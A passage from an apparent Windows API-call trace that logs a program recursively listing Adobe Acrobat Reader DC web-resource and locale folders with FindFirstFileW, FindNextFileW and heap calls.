ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0246.021] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0246.021] GetProcessHeap () returned 0xc10000 [0246.021] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0246.022] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 0 [0246.022] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0246.023] GetProcessHeap () returned 0xc10000 [0246.023] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0246.024] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0246.024] GetProcessHeap () returned 0xc10000 [0246.024] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0246.024] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0246.028] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.028] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app", cAlternateFileName="")) returned 1 [0246.028] GetProcessHeap () returned 0xc10000 [0246.028] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0246.028] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0246.032] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.032] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0246.032] GetProcessHeap () returned 0xc10000 [0246.032] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0246.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0246.033] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.033] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0246.033] GetProcessHeap () returned 0xc10000 [0246.033] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0246.036] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.036] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0246.036] GetProcessHeap () returned 0xc10000 [0246.036] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ar-ae\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0246.038] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.038] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.038] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0246.038] GetProcessHeap () returned 0xc10000 [0246.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.039] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0246.039] GetProcessHeap () returned 0xc10000 [0246.039] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ca-es\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0246.040] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.040] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.040] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.040] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0246.041] GetProcessHeap () returned 0xc10000 [0246.041] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.041] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0246.041] GetProcessHeap () returned 0xc10000 [0246.041] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.041] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0246.043] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.043] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.043] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.043] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0246.043] GetProcessHeap () returned 0xc10000 [0246.043] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.043] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0246.044] GetProcessHeap () returned 0xc10000 [0246.044] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.044] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.044] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.044] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.044] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.044] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.045] GetProcessHeap () returned 0xc10000 [0246.045] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.045] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0246.045] GetProcessHeap () returned 0xc10000 [0246.045] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.045] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\de-de\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0246.046] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.046] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xece, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.047] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xece, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.047] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0246.047] GetProcessHeap () returned 0xc10000 [0246.047] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.047] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0246.047] GetProcessHeap () returned 0xc10000 [0246.047] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-ae\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0246.049] FindNextFileW (in: hFindFile=0x33e48e8, 